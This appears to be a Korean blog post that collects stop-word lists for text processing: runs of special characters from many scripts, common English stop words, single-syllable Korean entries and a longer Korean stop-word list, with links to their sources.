困 囷 囹 固 囿 圁 圂 圃 圄 圈 圉 圊 
國 圍 園 圓 圖 團 圜 囚 因 囦 囫 囮
囘 囙 囜 囝 囡 团 団 囤 囥 囧 囨 囩 囪 囬 园 囯 囱 囲 図 围 囵 囶
囸 囻 囼 国 图 圀 圅 圆 圇 圌 圎 圏 圐 圑 圔 圕 圗 圙 圚 圛 圝 圞
㈱ ㈲ ㈳ ㈴ ㈵ ㈶ ㈷ ㈸ ㈹ ㈺ ㈻ ㈼ ㈽ ㈾ ㈿ ㉀ ㉁ ㉂ ㉃
㊑ ㊒ ㊓ ㊔ ㊕ ㊖ ㊗ ㊘ ㊙ ㊚ ㊛ ㊜ ㊝ ㊞ ㊟ ㊠ 
㊡ ㊢ ㊣ ㊤ ㊥ ㊦ ㊧ ㊨ ㊩ ㊪ ㊫ ㊬ ㊭ ㊮ ㊯ ㊰

㋐ ㋑ ㋒ ㋓ ㋔ ㋕ ㋖ ㋗ ㋘ ㋙ ㋚ ㋛ ㋜ ㋝ ㋞ ㋟ ㋠ ㋡ ㋢ ㋣ ㋤ ㋥ ㋦ ㋧ 
㋨ ㋩ ㋪ ㋫ ㋬ ㋭ ㋮ ㋯ ㋰ ㋱ ㋲ ㋳ ㋴ ㋵ ㋶ ㋷ ㋸ ㋹ ㋺ ㋻ ㋼ ㋽ ㋾

㌀ ㌁ ㌂ ㌃ ㌄ ㌅ ㌆ ㌇ ㌈ ㌉ ㌊ ㌋ ㌌ ㌍ ㌎ ㌏ ㌐ ㌑ ㌒ ㌓ ㌔ ㌕ 
㌖ ㌗ ㌘ ㌙ ㌚ ㌛ ㌜ ㌝ ㌞ ㌟ ㌠ ㌡ ㌢ ㌣ ㌤ ㌥ ㌦ ㌧ ㌨ ㌩ ㌪ ㌫ 
㌬ ㌭ ㌮ ㌯ ㌰ ㌱ ㌲ ㌳ ㌴ ㌵ ㌶ ㌷ ㌸ ㌹ ㌺ ㌻ ㌼ ㌽ ㌾ ㌿ ㍀ ㍁ 
㍂ ㍃ ㍄ ㍅ ㍆ ㍇ ㍈ ㍉ ㍊ ㍋ ㍌ ㍍ ㍎ ㍏ ㍐ ㍑ ㍒ ㍓ ㍔ ㍕ ㍖ ㍗

ᐰ ᐱ ᐲ ᐳ ᐴ ᐵ ᐶ ᐷ ᐸ ᐹ ᐺ ᐻ ᐼ ᐽ ᐾ ᐿ ᑀ ᑁ ᑂ ᑃ ᑄ ᑅ ᑆ ᑇ ᑈ ᑉ ᑊ ᑋ ᑌ ᑍ ᑎ ᑏ 
ᑐ ᑑ ᑒ ᑓ ᑔ ᑕ ᑖ ᑗ ᑘ ᑙ ᑚ ᑛ ᑜ ᑝ ᑞ ᑟ ᑠ ᑡ ᑢ ᑣ ᑤ ᑥ ᑦ ᑧ ᑨ ᑩ ᑪ ᑫ ᑬ ᑭ ᑮ ᑯ 
ᑰ ᑱ ᑲ ᑳ ᑴ ᑵ ᑶ ᑷ ᑸ ᑹ ᑺ ᑻ ᑼ ᑽ ᑾ ᑿ ᒀ ᒁ ᒂ ᒃ ᒄ ᒅ ᒆ ᒇ ᒈ ᒉ ᒊ ᒋ ᒌ ᒍ ᒎ ᒏ 
ᒐ ᒑ ᒒ ᒓ ᒔ ᒕ ᒖ ᒗ ᒘ ᒙ ᒚ ᒛ ᒜ ᒝ ᒞ ᒟ ᒠ ᒡ ᒢ ᒣ ᒤ ᒥ ᒦ ᒧ ᒨ ᒩ ᒪ ᒫ ᒬ ᒭ ᒮ ᒯ 
ᓐ ᓑ ᓒ ᓓ ᓔ ᓕ ᓖ ᓗ ᓘ ᓙ ᓚ ᓛ ᓜ ᓝ ᓞ ᓟ ᓠ ᓡ ᓢ ᓣ ᓤ ᓥ ᓦ ᓧ ᓨ ᓩ ᓪ ᓫ ᓬ ᓭ ᓮ ᓯ 
ᓰ ᓱ ᓲ ᓳ ᓴ ᓵ ᓶ ᓷ ᓸ ᓹ ᓺ ᓻ ᓼ ᓽ ᓾ ᓿ ᔐ ᔑ ᔒ ᔓ ᔔ ᔕ ᔖ ᔗ ᔘ ᔙ ᔚ ᔛ ᔜ ᔝ ᔞ ᔟ 
ᔠ ᔡ ᔢ ᔣ ᔤ ᔥ ᔦ ᔧ ᔨ ᔩ ᔪ ᔫ ᔬ ᔭ ᔮ ᔯ ᔰ ᔱ ᔲ ᔳ ᔴ ᔵ ᔶ ᔷ ᔸ ᔹ ᔺ ᔻ ᔼ ᔽ ᔾ ᔿ 
ᕀ ᕁ ᕂ ᕃ ᕄ ᕅ ᕆ ᕇ ᕈ ᕉ ᕊ ᕋ ᕌ ᕍ ᕎ ᕏ ᕐ ᕑ ᕒ ᕓ ᕔ ᕕ ᕖ ᕗ ᕘ ᕙ ᕚ ᕛ ᕜ ᕝ ᕞ ᕟ 
ᕠ ᕡ ᕢ ᕣ ᕤ ᕥ ᕦ ᕧ ᕨ ᕩ ᕪ ᕫ ᕬ ᕭ ᕮ ᕯ ᕰ ᕱ ᕲ ᕳ ᕴ ᕵ ᕶ ᕷ ᕸ ᕹ ᕺ ᕻ ᕼ ᕽ ᕾ ᕿ 
ᖠ ᖡ ᖢ ᖣ ᖤ ᖥ ᖦ ᖧ ᖨ ᖩ ᖪ ᖫ ᖬ ᖭ ᖮ ᖯ ᖰ ᖱ ᖲ ᖳ ᖴ ᖵ ᖶ ᖷ ᖸ ᖹ ᖺ ᖻ ᖼ ᖽ ᖾ ᖿ 
ᗀ ᗁ ᗂ ᗃ ᗄ ᗅ ᗆ ᗇ ᗈ ᗉ ᗊ ᗋ ᗌ ᗍ ᗎ ᗏ ᗐ ᗑ ᗒ ᗓ ᗔ ᗕ ᗖ ᗗ ᗘ ᗙ ᗚ ᗛ ᗜ ᗝ ᗞ ᗟ 
ᗠ ᗡ ᗢ ᗣ ᗤ ᗥ ᗦ ᗧ ᗨ ᗩ ᗪ ᗫ ᗬ ᗭ ᗮ ᗯ ᗰ ᗱ ᗲ ᗳ ᗴ ᗵ ᗶ ᗷ ᗸ ᗹ ᗺ ᗻ ᗼ ᗽ ᗾ ᗿ 

ᘀ ᘂ ᘃ ᘄ ᘅ ᘆ ᘇ ᘈ ᘉ ᘊ ᘋ ᘌ ᘍ ᘎ ᘏ ᘐ ᘑ 
ᘒ ᘓ ᘔ ᘕ ᘖ ᘗ ᘘ ᘙ ᘚ ᘛ ᘜ ᘝ ᘞ ᘟ ᘠ ᘡ ᘢ 
ᘣ ᘤ ᘥ ᘦ ᘧ ᘨ ᘩ ᘪ ᘫ ᘬ ᘭ ᘮ ᘯ ᘰ ᘱ ᘲ ᘳ 
ᘴ ᘵ ᘶ ᘷ ᘸ ᘹ ᘺ ᘻ ᘼ ᘽ ᘾ ᘿ ᙀ ᙁ ᙂ ᙃ ᙄ 
ᙅ ᙆ ᙇ ᙈ ᙉ ᙊ ᙋ ᙌ ᙍ ᙎ ᙏ ᙐ ᙑ ᙒ ᙓ ᙔ ᙕ 
ᙖ ᙗ ᙘ ᙙ ᙚ ᙛ ᙜ ᙝ ᙞ ᙟ ᙠ ᙡ ᙢ ᙣ ᙤ ᙥ ᙦ 
ᙧ ᙨ ᙩ ᙪ ᙫ ᙬ ᙯ ᙰ ᙱ ᙲ ᙳ ᙴ ᙵ ᙶ 

ઁ ં ઃ અ આ ઇ ઈ ઉ ઊ ઋ 
ઍ એ ઐ ઑ ઓ ઔ ક ખ ગ 
ઘ ઙ ચ છ જ ઝ ઞ ટ ઠ ડ ઢ

इ उ ऊ ऋ ऌ क ख ग घ ङ च छ ज झ ञ ट ठ ड ढ ण त द न ऩ प फ ब भ म य र ऱ ल ळ ऴ व श ष स ह क़ ख़ ग़ ज़ ड़ ढ़ फ़ य़ ॠ ॡ

Ա Բ Գ Դ Ե Զ Է Ը Թ Ժ Ի Լ Խ Ծ Կ Հ Ձ Ղ Ճ Մ Յ Ն Շ Ո Չ Պ Ջ Ռ Ս Վ Տ Ր
ա բ գ դ ե զ է ը թ ժ ի լ խ ծ կ հ ձ ղ ճ մ յ ն ո չ պ ջ ռ ս վ տ ր ց ւ փ ք օ ֆ և

ឃ ង ច ឆ ឈ ញ ដ ឋ ឌ ឍ ណ ត ថ ទ ធ ន ប ផ ភ ម យ ល ឝ 
ឞ ស ឡ អ ឤ ឥ ឦ ឨ ឩ ឬ ឭ ឯ ឰ ឱ ឲ ឳ ឴ ឵ ា ១ ២ ៣ ៥ ៦ ៧ ៨ ៩

ஆ இ ஈ ஊ எ ஏ ஐ ஒ ஓ ஔ ஂ ஃ ா ி ௗ ங ஜ ஞ ண ந ன ம ய ற ல ள ழ வ ஸ ஹ ௧ ௨ ௩ ௪ ௫ 

а б в г д е ж з и й к л м н о п р с т у ф х ц 
ч ш щ ъ ы ь э ю я ё ђ ѓ є ѕ і ї ј љ њ ћ ќ ў џ 

ހ ށ ނ ރ ބ ޅ ކ އ ވ މ ފ ދ ތ
ލ ގ ޏ ސ ޑ ޒ ޓ ޔ ޕ ޖ ޗ ޘ ޙ
ޚ ޛ ޜ ޝ ޞ ޟ ޠ ޡ ޢ ޣ ޤ ޥ

ਕ ਗ ਘ ਙ ਚ ਛ ਜ ਝ ਞ ਟ ਡ ਢ ਣ ਤ ਥ ਦ ਧ 
ਨ ਪ ਫ ਬ ਭ ਯ ਰ ਲ ਲ਼ ਵ ਸ ਹ ਖ਼ ਗ਼ ਜ਼ ੜ ਫ਼

ଆ ଇ ଈ ଉ ଊ ଋ ଌ ଐ ଓ ଔ ଖ ଗ ଘ ଙ ଛ ଜ ଝ ଞ ଟ ଢ ଣ ତ ଥ ଧ ନ ପ ଫ ବ ଭ ମ ଯ ର ଳ ଶ ଷ ସ ହ

ం ః అ ఆ ఇ ఈ ఉ ఊ ఋ ఌ ఎ ఏ ఐ ఒ ఓ ఔ క ఖ గ ఘ ఙ చ ఛ జ ఝ ఞ ట
ఠ డ ఢ ణ త థ ద ధ న ప ఫ బ భ మ య ర ఱ ల ళ వ శ ష హ ా ి ౕ ౖ ౠ
ౡ ౨ ౩ ౪ ౫ ౬ ౭ ౮ ౯ ಂ ಃ ಅ ಆ ಇ ಈ ಉ ಊ ಋ ಌ ಎ ಏ ಐ ಒ ಓ ಔ ಕ ಖ ಗ ಘ ಙ ಚ ಛ ಜ ಝ ಞ ಟ ಠ ಡ ಢ ಣ ತ ಥ ದ ಧ ನ ಪ ಫ ಬ ಭ ಮ ರ ಱ ಲ ಳ ವ ಶ ಷ 

૦ ૧ ૨ ૩ ૪ ૫ ૬ ૭ ૮ ૯
੦ ੧ ੨ ੩ ੪ ੫ ੬ ੭ ੮ ੯

║ ╒ ╓ ╔ ╕ ╖ ╗ ╘ ╙ ╚ ╛ ╜ ╝ ╞ 
╟ ╠ ╡ ╢ ╣ ╤ ╥ ╦ ╧ ╨ ╩ ╪ ╫ ╬ 

ꋰ ꋱ ꋲ ꋳ ꋴ ꋵ ꋶ ꋷ ꋸ ꋹ ꋺ ꋻ ꋼ ꋽ 
ꀢ ꀣ ꀤ ꀥ ꀦ ꀧ ꀨ ꀩ ꀪ ꀫ ꀬ ꀭ
ꀲ ꀳ ⇒ ⇔ ꀮ ꀯ ꀰ ꀱ 
← ↑ → ↓ ↔ ↕ ↖ ↗ ↘ ↙
ꀹ ꀺ ꀻ ꀼ ꀽ ꁼ ꁽ ꁾ ꁿ
ꀴ ꀵ ꀶ ꀷ ꀸ
ꀾ ꀿ ꁂ ꁃ ꁄ ꁅ ꎴ ꎵ
ꍖ ꍗ ꍘ ꍙ ꍚ ꍛ ꍜ ꍝ

܁ ܂ ܃ ܄ ܅ ܆ ܇ ܈ ܉
ꌈ ꌉ ꌊ ꌋ ꌌ ꌍ ꌎ ꌏ ꌐ ꌀ ꌁ ꀞ ꀟ

ꀆ ꀇ ꀈ ꀉ ꀊ ꀋ ꀌ ꀍ ꀎ ꀏ ꀐ ꀑ 
ꀒ ꀓ ꀔ ꀕ ꀖ ꀗ ꀘ ꀙ ꀚ ꀛ ꀜ ꀝ
༼ ༽ ༾ ༿ ⌠ ⌡ꌼ ꌽ ꌾ ꌿ ꍀ ꍁ ꍂ ꍃ ꍄ ꍅ ꍆ ꍇ ꍈ ꍉ ꍐ ꍑ

ꍊ ꍋ ꍌ ꍍ ꍎ ꍏ ꍒ ꍓ ꍔ ꍕ ᚛ ᚜

ꌑ ꌒ ꌓ ꌔ ꌕ ꌖ ꌗ ꌘ ꌙ ꌚ ꌛ ꌜ ꌝ ꌞ ꌟ ꌠ ꌡ ꌢ ꌣ ꌤ 
ꌥ ꌦ ꌧ ꌨ ꌩ ꌪ ꌫ ꌬ ꌭ ꌮ ꌯ ꌰ ꌱ ꌲ ꌳ ꌴ ꌵ ꌶ ꌷ
ꏪ ꏫ ꏬ ▒ ▓


ꁳ ꁴ ꁵ ꁶ ꁷ ꁸ
ꁣ ꁤ ꁥ ꁦ ꁧ ꁨ 
ꁩ ꁪ ꁫ ꁬ 
ꁭ ꁮ ꁯ ꁰ ꁱ ꁲ ◆ ◇ ◈
ꂔ ꂕ ꂗ ꂘ ꂙ
▣ ▤ ▥ ▦ ▧ ▨ ▩

ᚠ ᚡ ᚢ ᚣ ᚤ ᚥ ᚦ ᚧ ᚨ ᚩ ᚪ ᚫ ᚬ ᚭ ᚮ ᚯ ᚰ ᚱ ᚲ ᚳ ᚴ ᚵ ᚶ ᚷ ᚸ ᚹ ᚺ ᚻ 
ᚼ ᚽ ᚾ ᚿ ᛀ ᛁ ᛂ ᛃ ᛄ ᛅ ᛆ ᛇ ᛈ ᛉ ᛊ ᛋ ᛌ ᛍ ᛎ ᛏ ᛐ ᛑ ᛒ ᛓ ᛔ ᛕ ᛖ ᛗ ᛘ 
µ ¶  ܏ᛙ ᛚ ᛛ ᛜ ᛝ ᛞ ᛟ ᛠ ᛡ ᛢ ᛣ ᛤ ᛥ ᛦ ᛧ ᛨ ᛩ ᛪ ᛫ ᛬ ᛭ ᛮ ᛯ ᛰ

  ᚁ ᚂ ᚃ ᚄ ᚅ 
ᚆ ᚇ ᚈ ᚉ ᚊ 
ᚋ ᚌ ᚍ ᚎ ᚏ 
ᚐ ᚑ ᚒ ᚓ ᚔ 
ꁌ ꁍ ꁎ ꁏ ꁐ

♩ ♪ ♫ ♬ ♭  ꁔ ꁕ ꁖ ꁗ ꁛ ꁜ ꁝ ꁞ ꁟ ꁠ ꁡ
ꁑ ꁒ ꁓ ꁘ ꁙ ꁚ ꁢ

ꁇ ܀ ܊ ܋ ܌ ܍ ¤ ፨ ₪ ꂇ ◘ ◙ ⌂ ☺ ☻ ♀ ♂ ꋭ ꋯ ާ ި ީ ު ޫ ެ ޭ ޮ ᚗ ᚘ
፡ ። ፣ ፤ ፥ ፦ ፧ ‘ ’ ‚ ‛ “ ” „ ‥ … ‧ ′ ″ 〝 〞 〟

ꏯ ꏰ ꏱ ꏲ ꏳ ꏴ
ꏣ ꏤ ꏥ ꏦ ꏧ ꏨ ꏩ
ꏛ ꏜ ꏝ ꏞ ꏟ ꏠ ꏡ ꏢ
ꏍ ꏎ ꏏ ꏐ ꏑ ꏒ ꏇ ꏈ
ꏔ ꏕ ꏖ ꏮ ꂚ ꏅ ꏚ ꏋ
☼ ꀀ ꁋ ꂊ ꂐ ꏗ ꏘ ꏙ ꁉ ꏆ
ꁹ ꁺ ꁻ ꂂ ꂃ ꂅ ꂆ ꂈ ꂉ ꏊ ꏓ
ꂋ ꂌ ꂍ ꂎ ꂏ ꂑ ꂒ ꂓ ꂖ 〒


https://gist.github.com/sebleier/554280


i

me

my

myself

we

our

ours

ourselves

you

your

yours

yourself

yourselves

he

him

his

himself

she

her

hers

herself

it

its

itself

they

them

their

theirs

themselves

what

which

who

whom

this

that

these

those

am

is

are

was

were

be

been

being

have

has

had

having

do

does

did

doing

a

an

the

and

but

if

or

because

as

until

while

of

at

by

for

with

about

against

between

into

through

during

before

after

above

below

to

from

up

down

in

out

on

off

over

under

again

further

then

once

here

there

when

where

why

how

all

any

both

each

few

more

most

other

some

such

no

nor

not

only

own

same

so

than

too

very

s

t

can

will

just

don

should

now


https://ko.wikipedia.org/wiki/%EC%9C%84%ED%82%A4%EB%B0%B1%EA%B3%BC:%EC%A0%9C%EB%AA%A9%EC%9D%B4_%ED%95%9C%EA%B8%80_%ED%95%9C_%EA%B8%80%EC%9E%90%EC%9D%B8_%EB%AC%B8%EC%84%9C_%EB%AA%A9%EB%A1%9D


ㄱ 가 각 간 갈 감 갑 값 갓 강 개 갭 갱 건 검 겁 것 게 겐 겔 겨 격 견 결 경 계 고 곡 곤 골 곰 곳 공 곶 곷 과 곽 관 괌 광 괴 교 구 국 군 굴 굼 굽 굿 궁 궉 권 궤 귀 귄 규 균 귤 그 극 근 금 긔 기 긱 길 김 깃 ㄲ 까 깡 깨 껌 꼴 꼼 꽃 꾼 꿀 꿈 꿩 끈 ᇃ ㄳ ᇄ


ㄴ 나 낙 난 날 낢 남 납 낫 낭 낮 낯 내 냥 넉 넋 넌 널 넛 넝 넬 넷 년 노 녹 논 놀 놈 놉 놋 농 뇌 누 눅 눈 눕 뉫 뉴 늪 니 닉 닌 닐 님 닝 닢 ᄓ ㅥ ㅦ ᄖ ㅧ ㅨ ㄵ ㄶ ᇉ


ㄷ 다 닥 단 달 닭 담 답 닷 당 닻 대 댄 댐 덕 덤 덥 덧 덫 데 덱 덴 델 뎀 뎁 도 독 돈 돌 돐 돔 돗 동 돛 돵 되 두 둑 둘 둠 둥 뒤 듄 들 등 디 딕 딘 딜 딤 딥 ᄗ ㄸ 따 딱 딸 땀 땅 때 떡 똥 뜀 뜰 뜸 뜻 띠 ᇋ


ㄹ 라 락 란 람 랑 랖 랙 랜 램 랩 랭 러 럭 런 럼 레 렉 렌 렘 령 로 록 론 롤 롬 롭 롯 롱 룀 료 룡 루 룩 룬 룰 룸 룻 룽 류 륙 리 릭 린 릴 립 릿 링 ㄺ ㅩ ᄘ ㅪ ᇏ ᄙ ㄻ ᇑ ᇒ ㄼ ㅫ ᇔ ᇕ ㄽ ᇖ ㅬ ᇘ ㄾ ㄿ ㅀ ㅭ ᄛ


ㅁ 마 막 만 말 맘 맛 망 매 맥 맵 맹 먹 멀 메 멜 멱 면 멸 명 모 목 몫 몬 몰 몸 못 몽 뫼 무 묵 문 물 뭄 뭉 뭍 뮤 미 민 밀 밈 밍 밑 ᇚ ᇛ ㅮ ㅯ ᇞ ㅰ ᇠ ᇡ ㅱ


ㅂ 바 박 반 발 밤 밥 밧 방 밭 배 백 밴 밸 뱀 뱅 벅 번 벌 범 법 벗 벚 벡 벤 벨 벼 벽 변 별 병 보 복 본 볼 봄 봇 봉 뵐 부 북 분 불 붐 붓 붕 뷁 뷔 뷜 비 빅 빈 빌 빔 빗 빙 빛 ㅲ ᄟ ㅳ ᇣ ㅃ 빠 빵 뻘 뻥 뼈 뽀 뿔 쀍 삐 ㅄ ㅴ ㅵ ᄤ ᄥ ᄦ ㅶ ᄨ ㅷ ᄪ ᇥ ㅸ ㅹ


ㅅ 사 삭 산 살 삵 삶 삼 삽 상 새 색 샌 샘 샤 샨 샴 샵 섊 서 석 선 설 섬 섭 성 섶 세 센 셀 셈 셋 셸 소 속 손 솔 솜 솝 송 솥 쇠 쇼 숀 숍 수 순 술 숨 숩 숯 숲 쉘 쉬 쉰 쉽 슈 슝 스 슬 습 승 시 식 신 실 심 십 싱 ㅺ ㅻ ㅼ ᄰ ᄱ ㅽ ᄳ ㅆ 싸 싹 쌀 쌈 쌩 썬 썸 쏙 쑥 쓰 씨 씬 씰 씹 씽 ᄴ ᄵ ㅾ ᄷ ᄸ ᄹ ᄺ ᄻ ᄼ ᄽ ᄾ ᄿ ㅿ


ㅇ 아 악 안 알 앎 암 압 앙 앞 애 앤 앳 야 약 얀 양 어 억 얼 엄 업 엉 에 엔 엘 엠 여 역 연 열 염 엽 엿 영 예 옐 옙 오 옥 온 올 옴 옷 옹 옻 와 왕 왜 왬 외 요 욕 욘 욜 욥 용 우 운 울 움 웅 원 월 웜 웟 웹 위 윈 윌 윔 윙 유 육 윤 율 융 윷 으 은 을 음 읍 응 의 이 인 일 임 입 잎 ᅁ ᅂ ᅃ ᅄ ᅅ ᅆ ᅇ ᅈ ᅉ ᅊ ᅋ ㆁ ᇬ ᇭ ㆂ ㆃ ᇮ ᇯ


ㅈ 자 작 잔 잘 잠 잡 잣 장 재 잭 잼 잽 쟁 저 적 전 절 점 접 젓 정 젖 제 젠 젤 조 족 존 졸 좀 종 좆 죄 죠 죤 주 죽 준 줄 줌 중 쥐 즐 즙 지 진 질 짐 집 징 짚 ᅍ ㅉ 짝 짬 짯 짱 째 쨈 쨤 쩔 쪽 쫑 찜 ᅎ ᅏ ᅐ ᅑ ꥸ


ㅊ 차 착 찬 찰 참 창 채 책 처 척 천 철 첨 첩 청 체 첸 첼 초 촉 촌 촐 촙 총 최 춍 추 축 춘 춤 충 취 츄 츠 층 치 친 칠 칡 침 칩 칭 ᅒ ᅓ ᅔ ᅕ


ㅋ 카 칸 칼 캄 캅 캉 캔 캠 캡 캣 컨 컬 컴 컵 컷 켄 켈 켐 켓 코 콘 콜 콤 콥 콩 쾀 쿈 쿡 쿤 쿨 쿰 퀸 큐 키 킥 킨 킬 킴 킵 킹


ㅌ 타 탁 탄 탈 탐 탑 탕 태 터 턱 턴 털 텀 텅 텍 텐 토 톡 톤 톰 톱 톳 통 퇌 퇴 툰 툴 튈 틀 티 틱 틸 팁


ㅍ 파 판 팔 팜 팝 팟 팡 팥 패 팬 팸 팽 퍄 퍼 퍽 펀 펄 펌 펍 펑 펜 편 평 폐 포 폭 폰 폴 폼 퐁 푄 표 푹 푼 풀 품 풍 피 픽 핀 필 핍 핑 ᅖ ㆄ ㅁ


ㅎ 하 학 한 할 함 합 핫 항 해 핵 햄 행 햏 향 허 헉 헐 헬 혀 현 형 호 혹 혼 홀 홈 홉 홍 화 확 환 활 황 회 횡 효 후 훅 훈 훗 훼 휘 휨 휩 흄 흑 흙 희 힐 힘 힙 ᇵ ᇶ ᇷ ᇸ ㆅ ㆆ 



https://github.com/stopwords-iso/stopwords-ko/blob/master/stopwords-ko.txt


!

"

$

%

&

'

(

)

*

+

,

-

.

...

0

1

2

3

4

5

6

7

8

9

;

<

=

>

?

@

\

^

_

`

|

~

·

——

가까스로

가령

각각

각자

각종

갖고말하자면

같다

같이

개의치않고

거니와

거바

거의

것과 같이

것들

게다가

게우다

겨우

견지에서

결과에 이르다

결국

결론을 낼 수 있다

겸사겸사

고려하면

고로

공동으로

과연

관계가 있다

관계없이

관련이 있다

관하여

관한

관해서는

구체적으로

구토하다

그들

그때

그래

그래도

그래서

그러나

그러니

그러니까

그러면

그러므로

그러한즉

그런 까닭에

그런데

그런즉

그럼

그럼에도 불구하고

그렇게 함으로써

그렇지

그렇지 않다면

그렇지 않으면

그렇지만

그렇지않으면

그리고

그리하여

그만이다

그에 따르는

그위에

그저

그중에서

그치지 않다

근거로

근거하여

기대여

기점으로

기준으로

기타

까닭으로

까악

까지

까지 미치다

까지도

꽈당

끙끙

끼익

나머지는

남들

남짓

너희

너희들

논하지 않다

놀라다

누가 알겠는가

누구

다른

다른 방면으로

다만

다섯

다소

다수

다시 말하자면

다시말하면

다음

다음에

다음으로

단지

답다

당신

당장

대로 하다

대하면

대하여

대해 말하자면

대해서

댕그

더구나

더군다나

더라도

더불어

더욱더

더욱이는

도달하다

도착하다

동시에

동안

된바에야

된이상

두번째로

둥둥

뒤따라

뒤이어

든간에

등등

딩동

따라

따라서

따위

따지지 않다

때가 되어

때문에

또한

뚝뚝

라 해도

로 인하여

로부터

로써

마음대로

마저

마저도

마치

막론하고

만 못하다

만약

만약에

만은 아니다

만이 아니다

만일

만큼

말하자면

말할것도 없고

매번

메쓰겁다

모두

무렵

무릎쓰고

무슨

무엇

무엇때문에

물론

바꾸어말하면

바꾸어말하자면

바꾸어서 말하면

바꾸어서 한다면

바꿔 말하면

바로

바와같이

밖에 안된다

반대로

반대로 말하자면

반드시

버금

보는데서

보다더

보드득

본대로

봐라

부류의 사람들

부터

불구하고

불문하고

붕붕

비걱거리다

비교적

비길수 없다

비로소

비록

비슷하다

비추어 보아

비하면

뿐만 아니라

뿐만아니라

뿐이다

삐걱

삐걱거리다

상대적으로 말하자면

생각한대로

설령

설마

설사

소생

소인

습니까

습니다

시각

시간

시작하여

시초에

시키다

실로

심지어

아니

아니나다를가

아니라면

아니면

아니었다면

아래윗

아무거나

아무도

아야

아울러

아이

아이고

아이구

아이야

아이쿠

아하

아홉

안 그러면

않기 위하여

않기 위해서

알 수 있다

알았어

앞에서

앞의것

약간

양자

어기여차

어느

어느 년도

어느것

어느곳

어느때

어느쪽

어느해

어디

어때

어떠한

어떤

어떤것

어떤것들

어떻게

어떻해

어이

어째서

어쨋든

어쩔수 없다

어찌

어찌됏든

어찌됏어

어찌하든지

어찌하여

언제

언젠가

얼마

얼마 안 되는 것

얼마간

얼마나

얼마든지

얼마만큼

얼마큼

엉엉

에 가서

에 달려 있다

에 대해

에 있다

에 한하다

에게

에서

여기

여덟

여러분

여보시오

여부

여섯

여전히

여차

연관되다

연이서

영차

옆사람

예를 들면

예를 들자면

예컨대

예하면

오로지

오르다

오자마자

오직

오호

오히려

와 같은 사람들

와르르

와아

왜냐하면

외에도

요만큼

요만한 것

요만한걸

요컨대

우르르

우리

우리들

우선

우에 종합한것과같이

운운

위에서 서술한바와같이

위하여

위해서

윙윙

으로

으로 인하여

으로서

으로써

응당

의거하여

의지하여

의해

의해되다

의해서

이 되다

이 때문에

이 밖에

이 외에

이 정도의

이것

이곳

이때

이라면

이래

이러이러하다

이러한

이런

이럴정도로

이렇게 많은 것

이렇게되면

이렇게말하자면

이렇구나

이로 인하여

이르기까지

이리하여

이만큼

이번

이봐

이상

이어서

이었다

이와 같다

이와 같은

이와 반대로

이와같다면

이외에도

이용하여

이유만으로

이젠

이지만

이쪽

이천구

이천육

이천칠

이천팔

인 듯하다

인젠

일것이다

일곱

일단

일때

일반적으로

일지라도

임에 틀림없다

입각하여

입장에서

잇따라

있다

자기

자기집

자마자

자신

잠깐

잠시

저것

저것만큼

저기

저쪽

저희

전부

전자

전후

점에서 보아

정도에 이르다

제각기

제외하고

조금

조차

조차도

졸졸

좋아

좍좍

주룩주룩

주저하지 않고

줄은 몰랏다

줄은모른다

중에서

중의하나

즈음하여

즉시

지든지

지만

지말고

진짜로

쪽으로

차라리

참나

첫번째로

총적으로

총적으로 말하면

총적으로 보면

콸콸

쾅쾅

타다

타인

탕탕

토하다

통하여

틈타

펄렁

하게될것이다

하게하다

하겠는가

하고 있다

하고있었다

하곤하였다

하구나

하기 때문에

하기 위하여

하기는한데

하기만 하면

하기보다는

하기에

하나

하느니

하는 김에

하는 편이 낫다

하는것도

하는것만 못하다

하는것이 낫다

하는바

하더라도

하도다

하도록시키다

하도록하다

하든지

하려고하다

하마터면

하면 할수록

하면된다

하면서

하물며

하여금

하여야

하자마자

하지 않는다면

하지 않도록

하지마

하지마라

하지만

하하

한 까닭에

한 이유는

한 후

한다면

한다면 몰라도

한데

한마디

한적이있다

한켠으로는

한항목

할 따름이다

할 생각이다

할 줄 안다

할 지경이다

할 힘이 있다

할때

할만하다

할망정

할뿐

할수있다

할수있어

할줄알다

할지라도

할지언정

함께

해도된다

해도좋다

해봐요

해서는 안된다

해야한다

해요

했어요

향하다

향하여

향해서

허걱

허허

헉헉

헐떡헐떡

형식으로 쓰여

혹시

혹은

혼자

훨씬

휘익

흐흐

힘입어

︿


'KS > 1.2.0' 카테고리의 다른 글

[KS] stop word 목록(5) - special characters  (0) 2018.04.06
[KS] stop word 목록(4) -English  (0) 2018.04.06
[KS] stop word 목록(3) - ko 한글자  (0) 2018.04.06
[KS] stop word 목록(1) - ko  (0) 2018.04.06

+ Recent posts